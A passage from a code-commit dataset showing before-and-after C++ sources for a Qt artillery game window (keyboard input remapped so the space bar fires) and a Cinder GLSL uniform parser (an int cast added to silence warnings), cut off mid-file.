&GameWindow::powerChanged);\n\tconnect(&m_game, &Game::stateChanged, this, &GameWindow::stateChanged);\n\t\n\t\/\/ Connect Info Widgets\n\tconnect(this, &GameWindow::changeAngle, m_currentAngle, &AngleStatusWidget::setAngle);\n\tconnect(this, &GameWindow::changePlayer, m_gameModeWidget, &GameModeWidget::setCurrentPlayer);\n\tconnect(this, &GameWindow::changePower, m_currentPower, &FirePowerWidget::setPower);\n\tconnect(this, &GameWindow::changeState, m_gameModeWidget, &GameModeWidget::setCurrentMode);\n}\n\nGameWindow::~GameWindow()\n{\n}\n\nvoid GameWindow::displayStatusMessage(QString message)\n{\n\tstatusBar()->showMessage(message);\n}\n\nvoid GameWindow::playerChanged(Player p_player)\n{\n\temit changePlayer(p_player);\n}\n\nvoid GameWindow::stateChanged(InputState p_state)\n{\n\temit changeState(p_state);\n}\n\nvoid GameWindow::angleChanged(float p_angle)\n{\n\temit changeAngle(p_angle);\n}\n\nvoid GameWindow::powerChanged(float p_power)\n{\n\temit changePower(p_power);\n}\n\nvoid GameWindow::pausedTriggered()\n{\n\tif (m_game.pause()) {\n\t\tm_game.setPause(false);\n\t\tm_actionPause->setText(\"&Pause\");\n\t}\n\telse {\n\t\tm_game.setPause(true);\n\t\tif(m_game.pause())\n\t\t\tm_actionPause->setText(\"&Play\");\n\t}\n}\n\nvoid GameWindow::keyPressEvent(QKeyEvent * KeyEvent)\n{\n    \/\/NOTE: Hack to simulate correctly the FPGA input\n    m_fpga.handlePressEvent(KeyEvent);\n}\n\nvoid GameWindow::customEvent(QEvent *event)\n{\n    if(event->type() == FPGAEvent::customFPGAEvent) {\n        FPGAEvent* fpgaEvent = static_cast<FPGAEvent *>(event);\n\n        QCoreApplication::postEvent(&m_game, new FPGAEvent(*fpgaEvent));\n    }\n}\n\nvoid GameWindow::openNewGame()\n{\n    FenetreNewGame fenNewGame;\n    fenNewGame.exec();\n\tif (fenNewGame.result() == QDialog::Accepted)\n\t\tm_game.newGame();\n}\n\nvoid GameWindow::openTutoriel()\n{\n    FenetreTutoriel fenTutoriel;\n    fenTutoriel.exec();\n}\n\nvoid GameWindow::openVersion()\n{\n    FenetreVersion fenVersion;\n    fenVersion.exec();\n}\n\nvoid GameWindow::resizeEvent(QResizeEvent *event)\n{\n    QMainWindow::resizeEvent(event);\n    m_game.getView()->fitInView(m_game.getView()->sceneRect(), Qt::KeepAspectRatio);\n}\n<commit_msg>Changed input simulation to limit fire operation to space bar<commit_after>#include \"GameWindow.h\"\n\n\nGameWindow::GameWindow(QMainWindow *parent) : QMainWindow(parent), m_fpga(this), m_game()\n{\n\t\/****General setup****\/\n\tthis->setWindowTitle(\"Scorch\");\n\tthis->setStatusBar(new QStatusBar);\n    this->setWindowIcon(QIcon(QPixmap(\":\/resources\/icon_big.png\")));\n\t\n\tsetFocus();\n\tsetStyleSheet(\"QMainWindow::separator{ width:0px; height:0px;}\");\n\tm_game.getView()->setFocusPolicy(Qt::NoFocus);\n\t\n\t\n\t\/****Central widget****\/\n\tGameModeWidget * m_gameModeWidget;\n\tAngleStatusWidget * m_currentAngle;\n\tFirePowerWidget * m_currentPower;\n\n\tthis->setCentralWidget(m_game.getView());\n\n\t\n\t\/****Bottom Widget (Information about player)****\/\n\tQWidget* bottomWidget = new QWidget;\n\tQDockWidget* informationPanel = new QDockWidget;\n\tinformationPanel->setAllowedAreas(Qt::BottomDockWidgetArea);\n\tinformationPanel->setFeatures(QDockWidget::NoDockWidgetFeatures);\n\tGameBottomLayout *bottomLayout = new GameBottomLayout;\n\n\tm_gameModeWidget = new GameModeWidget;\n\tbottomLayout->addWidget(m_gameModeWidget);\n\n\t\/\/This should be an object with custom paint method to make it interesting\n\tm_currentAngle = new AngleStatusWidget;\n\tm_currentAngle->setAngle(0);\n\n\t\/\/This will be an object with custom paint method to make it interesting\n\tm_currentPower = new FirePowerWidget;\n\tm_currentPower->setPower(50);\n\n\tbottomLayout->addStretch();\n\tbottomLayout->addWidget(m_currentAngle);\n\tbottomLayout->setAlignment(m_currentAngle, Qt::AlignRight);\n\tbottomLayout->addWidget(m_currentPower);\n\n\tbottomWidget->setLayout(bottomLayout);\n\tinformationPanel->setWidget(bottomWidget);\n\n\tthis->addDockWidget(Qt::BottomDockWidgetArea, informationPanel);\n\n\t\n\t\/****Menus****\/\n\tm_menuBar = new QMenuBar;\n\t\n\t\/\/ File menu\n\tm_menuFichier = new QMenu(\"Fichier\");\n\tm_actionQuit = new QAction(\"Quitter\", this);\n\t\tm_actionQuit->setShortcut(QKeySequence(\"Q\"));\n\tm_actionNewGame = new QAction(\"Nouvelle partie\", this);\n\t\tm_actionNewGame->setShortcut(QKeySequence(\"N\"));\n\n\tm_menuFichier->addAction(m_actionNewGame);\n\tm_menuFichier->addSeparator();\n\tm_menuFichier->addAction(m_actionQuit);\n\tm_menuBar->addMenu(m_menuFichier);\n\n\t\/\/ Game menu\n\tm_menuJeux = new QMenu(\"Jeux\");\n\tm_actionPause = new QAction(\"Pause\", this);\n\t\tm_actionPause->setShortcut(QKeySequence(\"P\"));\n\tm_actionMuet = new QAction(\"Muet\", this);\n\t\tm_actionMuet->setShortcut(QKeySequence(\"M\"));\n\n\tm_menuJeux->addAction(m_actionPause);\n\tm_menuJeux->addSeparator();\n\tm_menuJeux->addAction(m_actionMuet);\n\tm_menuBar->addMenu(m_menuJeux);\n\n\t\/\/Help menu\n\tm_menuAide = new QMenu(\"Aide\");\n\tm_actionTutoriel = new QAction(\"Tutoriel\", this);\n\tm_actionVersion = new QAction(\"Version\", this);\n\tQAction* actionAboutQt = new QAction(\"A Propos de Qt\", this);\n\n\tm_menuAide->addAction(m_actionTutoriel);\n\tm_menuAide->addSeparator();\n\tm_menuAide->addAction(m_actionVersion);\n\tm_menuAide->addSeparator();\n\tm_menuAide->addAction(actionAboutQt);\n\tm_menuBar->addMenu(m_menuAide);\n\n\tthis->setMenuBar(m_menuBar);\n\t\n\t\/****Connections****\/\n\t\/\/ Connect Menu\n\tconnect(m_actionQuit, &QAction::triggered, QApplication::instance(), &QApplication::quit);\n\tconnect(actionAboutQt, &QAction::triggered, QApplication::instance(), &QApplication::aboutQt);\n\tconnect(m_actionPause, &QAction::triggered, this, &GameWindow::pausedTriggered);\n\tconnect(m_actionNewGame, SIGNAL(triggered()), this, SLOT(openNewGame()));\n\tconnect(m_actionTutoriel, SIGNAL(triggered()), this, SLOT(openTutoriel()));\n\tconnect(m_actionVersion, SIGNAL(triggered()), this, SLOT(openVersion()));\n\n\t\/\/ Connect Input\n\tconnect(&m_fpga, &FPGAReceiver::fpgaError, this, &GameWindow::displayStatusMessage);\n\n\t\/\/ Connect Game\n\tconnect(&m_game, &Game::playerChanged, this, &GameWindow::playerChanged);\n\tconnect(&m_game, &Game::angleChanged, this, &GameWindow::angleChanged);\n\tconnect(&m_game, &Game::powerChanged, this, &GameWindow::powerChanged);\n\tconnect(&m_game, &Game::stateChanged, this, &GameWindow::stateChanged);\n\t\n\t\/\/ Connect Info Widgets\n\tconnect(this, &GameWindow::changeAngle, m_currentAngle, &AngleStatusWidget::setAngle);\n\tconnect(this, &GameWindow::changePlayer, m_gameModeWidget, &GameModeWidget::setCurrentPlayer);\n\tconnect(this, &GameWindow::changePower, m_currentPower, &FirePowerWidget::setPower);\n\tconnect(this, &GameWindow::changeState, m_gameModeWidget, &GameModeWidget::setCurrentMode);\n}\n\nGameWindow::~GameWindow()\n{\n}\n\nvoid GameWindow::displayStatusMessage(QString message)\n{\n\tstatusBar()->showMessage(message);\n}\n\nvoid GameWindow::playerChanged(Player p_player)\n{\n\temit changePlayer(p_player);\n}\n\nvoid GameWindow::stateChanged(InputState p_state)\n{\n\temit changeState(p_state);\n}\n\nvoid GameWindow::angleChanged(float p_angle)\n{\n\temit changeAngle(p_angle);\n}\n\nvoid GameWindow::powerChanged(float p_power)\n{\n\temit changePower(p_power);\n}\n\nvoid GameWindow::pausedTriggered()\n{\n\tif (m_game.pause()) {\n\t\tm_game.setPause(false);\n\t\tm_actionPause->setText(\"&Pause\");\n\t}\n\telse {\n\t\tm_game.setPause(true);\n\t\tif(m_game.pause())\n\t\t\tm_actionPause->setText(\"&Play\");\n\t}\n}\n\nvoid GameWindow::keyPressEvent(QKeyEvent * KeyEvent)\n{\n    \/\/NOTE: Hack to simulate correctly the FPGA input\n\tif (m_game.getState() == InputState::Fire && KeyEvent->key() == Qt::Key_Space){\n\t\tQKeyEvent * key = new QKeyEvent(KeyEvent->type(), Qt::Key_Up, Qt::KeyboardModifier::NoModifier);\n\n\t\tm_fpga.handlePressEvent(key);\n\t}\n\telse if (m_game.getState() == InputState::Fire && (KeyEvent->key() == Qt::Key_Up || KeyEvent->key() == Qt::Key_Down))\n\t\treturn;\n\telse\n\t\tm_fpga.handlePressEvent(KeyEvent);\n}\n\nvoid GameWindow::customEvent(QEvent *event)\n{\n    if(event->type() == FPGAEvent::customFPGAEvent) {\n        FPGAEvent* fpgaEvent = static_cast<FPGAEvent *>(event);\n\n        QCoreApplication::postEvent(&m_game, new FPGAEvent(*fpgaEvent));\n    }\n}\n\nvoid GameWindow::openNewGame()\n{\n    FenetreNewGame fenNewGame;\n    fenNewGame.exec();\n\tif (fenNewGame.result() == QDialog::Accepted)\n\t\tm_game.newGame();\n}\n\nvoid GameWindow::openTutoriel()\n{\n    FenetreTutoriel fenTutoriel;\n    fenTutoriel.exec();\n}\n\nvoid GameWindow::openVersion()\n{\n    FenetreVersion fenVersion;\n    fenVersion.exec();\n}\n\nvoid GameWindow::resizeEvent(QResizeEvent *event)\n{\n    QMainWindow::resizeEvent(event);\n    m_game.getView()->fitInView(m_game.getView()->sceneRect(), Qt::KeepAspectRatio);\n}\n<|endoftext|>"}
{"text":"<commit_before>#include \"GlslParams.h\"\n#include \"cinder\/Utilities.h\"\n\nusing namespace reza::glsl;\nusing namespace cinder;\nusing namespace std;\n\nGlslParams::GlslParams()\n{\n}\n\nGlslParams::GlslParams( const string &source )\n{\n\tparseUniforms( source );\n}\n\nGlslParams::~GlslParams()\n{\n\tclearUniforms();\n}\n\nGlslParams::GlslParams( const GlslParams &copy )\n{\n\tfor( auto &it : copy.mParamOrder ) {\n\t\tmParamOrder[it.first] = it.second;\n\t}\n\n\tfor( auto &it : copy.mTypeMap ) {\n\t\tmTypeMap[it.first] = it.second;\n\t}\n\tfor( auto &it : copy.mBoolParams ) {\n\t\tmBoolParams[it.first] = it.second;\n\t}\n\n\tfor( auto &it : copy.mIntParams ) {\n\t\tmIntParams[it.first] = it.second;\n\t}\n\tfor( auto &it : copy.mIntRanges ) {\n\t\tmIntRanges[it.first] = it.second;\n\t}\n\n\tfor( auto &it : copy.mFloatParams ) {\n\t\tmFloatParams[it.first] = it.second;\n\t}\n\tfor( auto &it : copy.mFloatRanges ) {\n\t\tmFloatRanges[it.first] = it.second;\n\t}\n\n\tfor( auto &it : copy.mVec2Params ) {\n\t\tmVec2Params[it.first] = it.second;\n\t}\n\tfor( auto &it : copy.mVec2Ranges ) {\n\t\tmVec2Ranges[it.first] = it.second;\n\t}\n\n\tfor( auto &it : copy.mVec3Params ) {\n\t\tmVec3Params[it.first] = it.second;\n\t}\n\tfor( auto &it : copy.mVec3Ranges ) {\n\t\tmVec3Ranges[it.first] = it.second;\n\t}\n\n\tfor( auto &it : copy.mVec4Params ) {\n\t\tmVec4Params[it.first] = it.second;\n\t}\n\tfor( auto &it : copy.mVec4Ranges ) {\n\t\tmVec4Ranges[it.first] = it.second;\n\t}\n\n\tfor( auto &it : copy.mColorParams ) {\n\t\tmColorParams[it.first] = it.second;\n\t}\n}\n\nvoid GlslParams::clearUniforms()\n{\n\tmParamOrder.clear();\n\tmTypeMap.clear();\n\tmBoolParams.clear();\n\tmIntParams.clear();\n\tmIntRanges.clear();\n\tmFloatParams.clear();\n\tmFloatRanges.clear();\n\tmVec2Params.clear();\n\tmVec2Ranges.clear();\n\tmVec3Params.clear();\n\tmVec3Ranges.clear();\n\tmVec4Params.clear();\n\tmVec4Ranges.clear();\n\tmColorParams.clear();\n}\n\nvoid GlslParams::applyUniforms( const ci::gl::GlslProgRef &glslRef )\n{\n\tfor( auto &it : mBoolParams ) {\n\t\tglslRef->uniform( it.first, it.second );\n\t}\n\tfor( auto &it : mIntParams ) {\n\t\tglslRef->uniform( it.first, it.second );\n\t}\n\tfor( auto &it : mFloatParams ) {\n\t\tglslRef->uniform( it.first, it.second );\n\t}\n\tfor( auto &it : mVec2Params ) {\n\t\tglslRef->uniform( it.first, it.second );\n\t}\n\tfor( auto &it : mVec3Params ) {\n\t\tglslRef->uniform( it.first, it.second );\n\t}\n\tfor( auto &it : mVec4Params ) {\n\t\tglslRef->uniform( it.first, it.second );\n\t}\n\tfor( auto &it : mColorParams ) {\n\t\tglslRef->uniform( it.first, it.second );\n\t}\n}\n\nvoid GlslParams::parseUniforms( const vector<string> &sources )\n{\n\tclearUniforms();\n\tfor( auto &it : sources ) {\n\t\tparse( it );\n\t}\n}\n\nvoid GlslParams::parseUniforms( const string &source )\n{\n\tclearUniforms();\n\tparse( source );\n}\n\nvoid GlslParams::parse( const string &source )\n{\n\tauto trim = []( const string &input, const string &key ) {\n\t\tstring temp = input;\n\t\tsize_t foundKey = temp.find( key );\n\t\twhile( foundKey != string::npos ) {\n\t\t\ttemp = temp.replace( foundKey, key.length(), \"\" );\n\t\t\tfoundKey = temp.find( key );\n\t\t}\n\t\treturn temp;\n\t};\n\n\tmultimap<string, string> uiTypeMap = {\n\t\t{ \"int\", \"slider\" },\n\t\t{ \"int\", \"dialer\" },\n\n\t\t{ \"float\", \"ui\" },\n\t\t{ \"float\", \"slider\" },\n\t\t{ \"float\", \"dialer\" },\n\n\t\t{ \"vec2\", \"pad\" },\n\t\t{ \"vec2\", \"range\" },\n\t\t{ \"vec2\", \"ui\" },\n\t\t{ \"vec2\", \"slider\" },\n\t\t{ \"vec2\", \"dialer\" },\n\n\t\t{ \"vec3\", \"ui\" },\n\t\t{ \"vec3\", \"slider\" },\n\t\t{ \"vec3\", \"dialer\" },\n\n\t\t{ \"vec4\", \"ui\" },\n\t\t{ \"vec4\", \"slider\" },\n\t\t{ \"vec4\", \"color\" },\n\t\t{ \"vec4\", \"dialer\" },\n\n\t\t{ \"bool\", \"button\" },\n\t\t{ \"bool\", \"toggle\" }\n\t};\n\tbool ignore = false;\n\tvector<string> lines = split( source, '\\n' );\n\tfor( auto &it : lines ) {\n\t\tstring original = it;\n\t\tstring line = it;\n\n\t\tstring ignoreStart( \"\/*\" );\n\t\tstring ignoreEnd( \"*\/\" );\n\t\tif( !ignore && line.find( ignoreStart ) != string::npos ) {\n\t\t\tignore = true;\n\t\t}\n\n\t\tif( ignore && line.find( ignoreEnd ) == string::npos ) {\n\t\t\tcontinue;\n\t\t}\n\t\telse {\n\t\t\tignore = false;\n\t\t}\n\n\t\tstd::transform( line.begin(), line.end(), line.begin(), ::tolower );\n\t\tstring uniform( \"uniform \" );\n\t\tstring semicolon( \";\" );\n\t\tstring colon( \":\" );\n\t\tstring space( \" \" );\n\t\tstring comment( \"\/\/\" );\n\t\tstring comma( \",\" );\n\t\tstring newLine( \"\/n\" );\n\n\t\tsize_t foundUniform = line.find( uniform );\n\t\tif( foundUniform == string::npos ) {\n\t\t\tcontinue;\n\t\t}\n\t\tsize_t foundComment = line.find( comment );\n\t\tif( foundComment == string::npos || foundUniform > foundComment ) {\n\t\t\tcontinue;\n\t\t}\n\t\tsize_t foundType = string::npos;\n\t\tsize_t foundUIType = string::npos;\n\t\tstring type;\n\t\tstring uitype;\n\t\tstring key;\n\n\t\tbool valid = false;\n\t\tfor( auto &ui : uiTypeMap ) {\n\t\t\tfoundType = line.find( ui.first );\n\t\t\t\/\/\t\t\tstring tempkey = comment + ui.second + colon;\n\t\t\tstring tempkey = comment + ui.second;\n\t\t\tfoundUIType = line.find( tempkey );\n\t\t\tif( foundType != string::npos && foundUIType != string::npos ) {\n\t\t\t\tvalid = true;\n\t\t\t\ttype = ui.first;\n\t\t\t\tuitype = ui.second;\n\t\t\t\tkey = tempkey;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tif( !valid ) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tstring uniformName = original;\n\t\tsize_t foundSemicolon = uniformName.find( semicolon );\n\t\tuniformName = uniformName.substr( 0, foundSemicolon );\n\t\tuniformName = uniformName.replace( foundType, type.length(), \"\" );\n\t\tuniformName = uniformName.replace( foundUniform, uniform.length(), \"\" );\n\t\tuniformName = trim( uniformName, \" \" );\n\n\t\tstring uiParams = line.substr( foundUIType + key.length() );\n\t\tuiParams = trim( uiParams, \":\" );\n\n\t\tvector<string> params = split( uiParams, \",\" );\n\t\tif( params.size() == 1 ) {\n\t\t\tif( params[0].length() == 0 ) {\n\t\t\t\tparams.clear();\n\t\t\t}\n\t\t}\n\t\tint size = params.size();\n\n\t\tvector<float> values;\n\t\tbool invalidParams = false;\n\t\tfor( auto &it : params ) {\n\t\t\ttry {\n\t\t\t\tvalues.emplace_back( stof( it ) );\n\t\t\t}\n\t\t\tcatch( std::exception &exc ) {\n\t\t\t\tinvalidParams = true;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tif( invalidParams ) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tvalid = false;\n\n\t\tif( type == \"bool\" ) {\n\t\t\tif( size == 1 ) {\n\t\t\t\tbool val = values[0] > 0.5 ? true : false;\n\t\t\t\tmBoolParams[uniformName] = val;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tmBoolParams[uniformName] = true;\n\t\t\t}\n\t\t\tvalid = true;\n\t\t}\n\t\telse if( type == \"int\" ) {\n\t\t\tif( size > 2 ) {\n\t\t\t\tmIntParams[uniformName] = values[2];\n\t\t\t\tmIntRanges[uniformName] = { values[0], values[1] };\n\t\t\t}\n\t\t\telse {\n\t\t\t\tmIntParams[uniformName] = 50;\n\t\t\t\tmIntRanges[uniformName] = { 0, 100 };\n\t\t\t}\n\t\t\tvalid = true;\n\t\t}\n\t\telse if( type == \"float\" ) {\n\t\t\tif( size > 2 ) {\n\t\t\t\tmFloatParams[uniformName] = values[2];\n\t\t\t\tmFloatRanges[uniformName] = { values[0], values[1] };\n\t\t\t}\n\t\t\telse {\n\t\t\t\tmFloatParams[uniformName] = 0.5f;\n\t\t\t\tmFloatRanges[uniformName] = { 0.0f, 1.0f };\n\t\t\t}\n\t\t\tvalid = true;\n\t\t}\n\t\telse if( type == \"vec2\" ) {\n\t\t\tif( size > 2 ) {\n\t\t\t\tif( uitype == \"range\" && size > 3 ) {\n\t\t\t\t\tmVec2Params[uniformName] = vec2( values[2], values[3] );\n\t\t\t\t}\n\t\t\t\telse {\n\t\t\t\t\tmVec2Params[uniformName] = vec2( values[2] );\n\t\t\t\t}\n\t\t\t\tmVec2Ranges[uniformName] = { values[0], values[1] };\n\t\t\t}\n\t\t\telse {\n\t\t\t\tmVec2Params[uniformName] = vec2( 0.25f, 0.75f );\n\t\t\t\tmVec2Ranges[uniformName] = { 0.0f, 1.0f };\n\t\t\t}\n\t\t\tvalid = true;\n\t\t}\n\t\telse if( type == \"vec3\" ) {\n\t\t\tif( size > 2 ) {\n\t\t\t\tmVec3Params[uniformName] = vec3( values[2] );\n\t\t\t\tmVec3Ranges[uniformName] = { values[0], values[1] };\n\t\t\t}\n\t\t\telse {\n\t\t\t\tmVec3Params[uniformName] = vec3( 0.5f );\n\t\t\t\tmVec3Ranges[uniformName] = { 0.0f, 1.0f };\n\t\t\t}\n\t\t\tvalid = true;\n\t\t}\n\t\telse if( type == \"vec4\" && uitype == \"color\" ) {\n\t\t\tColorA clr;\n\t\t\tif( size > 3 ) {\n\t\t\t\tclr.set( ColorModel::CM_RGB, vec4( values[0], values[1], values[2], values[3] ) );\n\t\t\t\tmColorParams[uniformName] = clr;\n\t\t\t}\n\t\t\telse {\n\t\t\t\tclr.set( ColorModel::CM_RGB, vec4( 1.0f, 1.0f, 1.0f, 1.0f ) );\n\t\t\t\tmColorParams[uniformName] = clr;\n\t\t\t}\n\t\t\tvalid = true;\n\t\t}\n\t\telse if( type == \"vec4\" ) {\n\t\t\tif( size > 2 ) {\n\t\t\t\tmVec4Params[uniformName] = vec4( values[2] );\n\t\t\t\tmVec4Ranges[uniformName] = { values[0], values[1] };\n\t\t\t}\n\t\t\telse {\n\t\t\t\tmVec4Params[uniformName] = vec4( 0.5f );\n\t\t\t\tmVec4Ranges[uniformName] = { 0.0f, 1.0f };\n\t\t\t}\n\t\t\tvalid = true;\n\t\t}\n\n\t\tif( valid ) {\n\t\t\tmTypeMap.insert( { uniformName, { type, uitype } } );\n\t\t\tmParamOrder[mParamOrder.size()] = uniformName;\n\t\t}\n\t}\n}\n\nconst map<int, string> &GlslParams::getParamOrder()\n{\n\treturn mParamOrder;\n}\n\nconst map<string, pair<string, string>> &GlslParams::getTypeMap()\n{\n\treturn mTypeMap;\n}\n\nmap<string, bool> &GlslParams::getBoolParams()\n{\n\treturn mBoolParams;\n}\n\nmap<string, int> &GlslParams::getIntParams()\n{\n\treturn mIntParams;\n}\nmap<string, pair<int, int>> &GlslParams::getIntRanges()\n{\n\treturn mIntRanges;\n}\n\nmap<string, float> &GlslParams::getFloatParams()\n{\n\treturn mFloatParams;\n}\nmap<string, pair<float, float>> &GlslParams::getFloatRanges()\n{\n\treturn mFloatRanges;\n}\n\nmap<string, vec2> &GlslParams::getVec2Params()\n{\n\treturn mVec2Params;\n}\nmap<string, pair<float, float>> &GlslParams::getVec2Ranges()\n{\n\treturn mVec2Ranges;\n}\n\nmap<string, vec3> &GlslParams::getVec3Params()\n{\n\treturn mVec3Params;\n}\nmap<string, pair<float, float>> &GlslParams::getVec3Ranges()\n{\n\treturn mVec3Ranges;\n}\n\nmap<string, vec4> &GlslParams::getVec4Params()\n{\n\treturn mVec4Params;\n}\nmap<string, pair<float, float>> &GlslParams::getVec4Ranges()\n{\n\treturn mVec4Ranges;\n}\n\nmap<string, ColorA> &GlslParams::getColorParams()\n{\n\treturn mColorParams;\n}<commit_msg>added proper casting to remove compilation warnings<commit_after>#include \"GlslParams.h\"\n#include \"cinder\/Utilities.h\"\n\nusing namespace reza::glsl;\nusing namespace cinder;\nusing namespace std;\n\nGlslParams::GlslParams()\n{\n}\n\nGlslParams::GlslParams( const string &source )\n{\n\tparseUniforms( source );\n}\n\nGlslParams::~GlslParams()\n{\n\tclearUniforms();\n}\n\nGlslParams::GlslParams( const GlslParams &copy )\n{\n\tfor( auto &it : copy.mParamOrder ) {\n\t\tmParamOrder[it.first] = it.second;\n\t}\n\n\tfor( auto &it : copy.mTypeMap ) {\n\t\tmTypeMap[it.first] = it.second;\n\t}\n\tfor( auto &it : copy.mBoolParams ) {\n\t\tmBoolParams[it.first] = it.second;\n\t}\n\n\tfor( auto &it : copy.mIntParams ) {\n\t\tmIntParams[it.first] = it.second;\n\t}\n\tfor( auto &it : copy.mIntRanges ) {\n\t\tmIntRanges[it.first] = it.second;\n\t}\n\n\tfor( auto &it : copy.mFloatParams ) {\n\t\tmFloatParams[it.first] = it.second;\n\t}\n\tfor( auto &it : copy.mFloatRanges ) {\n\t\tmFloatRanges[it.first] = it.second;\n\t}\n\n\tfor( auto &it : copy.mVec2Params ) {\n\t\tmVec2Params[it.first] = it.second;\n\t}\n\tfor( auto &it : copy.mVec2Ranges ) {\n\t\tmVec2Ranges[it.first] = it.second;\n\t}\n\n\tfor( auto &it : copy.mVec3Params ) {\n\t\tmVec3Params[it.first] = it.second;\n\t}\n\tfor( auto &it : copy.mVec3Ranges ) {\n\t\tmVec3Ranges[it.first] = it.second;\n\t}\n\n\tfor( auto &it : copy.mVec4Params ) {\n\t\tmVec4Params[it.first] = it.second;\n\t}\n\tfor( auto &it : copy.mVec4Ranges ) {\n\t\tmVec4Ranges[it.first] = it.second;\n\t}\n\n\tfor( auto &it : copy.mColorParams ) {\n\t\tmColorParams[it.first] = it.second;\n\t}\n}\n\nvoid GlslParams::clearUniforms()\n{\n\tmParamOrder.clear();\n\tmTypeMap.clear();\n\tmBoolParams.clear();\n\tmIntParams.clear();\n\tmIntRanges.clear();\n\tmFloatParams.clear();\n\tmFloatRanges.clear();\n\tmVec2Params.clear();\n\tmVec2Ranges.clear();\n\tmVec3Params.clear();\n\tmVec3Ranges.clear();\n\tmVec4Params.clear();\n\tmVec4Ranges.clear();\n\tmColorParams.clear();\n}\n\nvoid GlslParams::applyUniforms( const ci::gl::GlslProgRef &glslRef )\n{\n\tfor( auto &it : mBoolParams ) {\n\t\tglslRef->uniform( it.first, it.second );\n\t}\n\tfor( auto &it : mIntParams ) {\n\t\tglslRef->uniform( it.first, it.second );\n\t}\n\tfor( auto &it : mFloatParams ) {\n\t\tglslRef->uniform( it.first, it.second );\n\t}\n\tfor( auto &it : mVec2Params ) {\n\t\tglslRef->uniform( it.first, it.second );\n\t}\n\tfor( auto &it : mVec3Params ) {\n\t\tglslRef->uniform( it.first, it.second );\n\t}\n\tfor( auto &it : mVec4Params ) {\n\t\tglslRef->uniform( it.first, it.second );\n\t}\n\tfor( auto &it : mColorParams ) {\n\t\tglslRef->uniform( it.first, it.second );\n\t}\n}\n\nvoid GlslParams::parseUniforms( const vector<string> &sources )\n{\n\tclearUniforms();\n\tfor( auto &it : sources ) {\n\t\tparse( it );\n\t}\n}\n\nvoid GlslParams::parseUniforms( const string &source )\n{\n\tclearUniforms();\n\tparse( source );\n}\n\nvoid GlslParams::parse( const string &source )\n{\n\tauto trim = []( const string &input, const string &key ) {\n\t\tstring temp = input;\n\t\tsize_t foundKey = temp.find( key );\n\t\twhile( foundKey != string::npos ) {\n\t\t\ttemp = temp.replace( foundKey, key.length(), \"\" );\n\t\t\tfoundKey = temp.find( key );\n\t\t}\n\t\treturn temp;\n\t};\n\n\tmultimap<string, string> uiTypeMap = {\n\t\t{ \"int\", \"slider\" },\n\t\t{ \"int\", \"dialer\" },\n\n\t\t{ \"float\", \"ui\" },\n\t\t{ \"float\", \"slider\" },\n\t\t{ \"float\", \"dialer\" },\n\n\t\t{ \"vec2\", \"pad\" },\n\t\t{ \"vec2\", \"range\" },\n\t\t{ \"vec2\", \"ui\" },\n\t\t{ \"vec2\", \"slider\" },\n\t\t{ \"vec2\", \"dialer\" },\n\n\t\t{ \"vec3\", \"ui\" },\n\t\t{ \"vec3\", \"slider\" },\n\t\t{ \"vec3\", \"dialer\" },\n\n\t\t{ \"vec4\", \"ui\" },\n\t\t{ \"vec4\", \"slider\" },\n\t\t{ \"vec4\", \"color\" },\n\t\t{ \"vec4\", \"dialer\" },\n\n\t\t{ \"bool\", \"button\" },\n\t\t{ \"bool\", \"toggle\" }\n\t};\n\tbool ignore = false;\n\tvector<string> lines = split( source, '\\n' );\n\tfor( auto &it : lines ) {\n\t\tstring original = it;\n\t\tstring line = it;\n\n\t\tstring ignoreStart( \"\/*\" );\n\t\tstring ignoreEnd( \"*\/\" );\n\t\tif( !ignore && line.find( ignoreStart ) != string::npos ) {\n\t\t\tignore = true;\n\t\t}\n\n\t\tif( ignore && line.find( ignoreEnd ) == string::npos ) {\n\t\t\tcontinue;\n\t\t}\n\t\telse {\n\t\t\tignore = false;\n\t\t}\n\n\t\tstd::transform( line.begin(), line.end(), line.begin(), ::tolower );\n\t\tstring uniform( \"uniform \" );\n\t\tstring semicolon( \";\" );\n\t\tstring colon( \":\" );\n\t\tstring space( \" \" );\n\t\tstring comment( \"\/\/\" );\n\t\tstring comma( \",\" );\n\t\tstring newLine( \"\/n\" );\n\n\t\tsize_t foundUniform = line.find( uniform );\n\t\tif( foundUniform == string::npos ) {\n\t\t\tcontinue;\n\t\t}\n\t\tsize_t foundComment = line.find( comment );\n\t\tif( foundComment == string::npos || foundUniform > foundComment ) {\n\t\t\tcontinue;\n\t\t}\n\t\tsize_t foundType = string::npos;\n\t\tsize_t foundUIType = string::npos;\n\t\tstring type;\n\t\tstring uitype;\n\t\tstring key;\n\n\t\tbool valid = false;\n\t\tfor( auto &ui : uiTypeMap ) {\n\t\t\tfoundType = line.find( ui.first );\n\t\t\t\/\/\t\t\tstring tempkey = comment + ui.second + colon;\n\t\t\tstring tempkey = comment + ui.second;\n\t\t\tfoundUIType = line.find( tempkey );\n\t\t\tif( foundType != string::npos && foundUIType != string::npos ) {\n\t\t\t\tvalid = true;\n\t\t\t\ttype = ui.first;\n\t\t\t\tuitype = ui.second;\n\t\t\t\tkey = tempkey;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tif( !valid ) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tstring uniformName = original;\n\t\tsize_t foundSemicolon = uniformName.find( semicolon );\n\t\tuniformName = uniformName.substr( 0, foundSemicolon );\n\t\tuniformName = uniformName.replace( foundType, type.length(), \"\" );\n\t\tuniformName = uniformName.replace( foundUniform, uniform.length(), \"\" );\n\t\tuniformName = trim( uniformName, \" \" );\n\n\t\tstring uiParams = line.substr( foundUIType + key.length() );\n\t\tuiParams = trim( uiParams, \":\" );\n\n\t\tvector<string> params = split( uiParams, \",\" );\n\t\tif( params.size() == 1 ) {\n\t\t\tif( params[0].length() == 0 ) {\n\t\t\t\tparams.clear();\n\t\t\t}\n\t\t}\n\t\tint size = (int)params.size();\n\n\t\tvector<float> values;\n\t\tbool invalidParams = false;\n\t\tfor( auto &it : params ) {\n\t\t\ttry {\n\t\t\t\tvalues.emplace_back( stof( it ) );\n\t\t\t}\n\t\t\tcatch( std::exception &exc ) {\n\t\t\t\tinvalidParams = true;\n\t\t\t\tbreak;\n\t\t\t}\n\t\t}\n\n\t\tif( invalidParams ) {\n\t\t\tcontinue;\n\t\t}\n\n\t\tvalid = false;\n\n\t\tif( type == \"bool\" ) 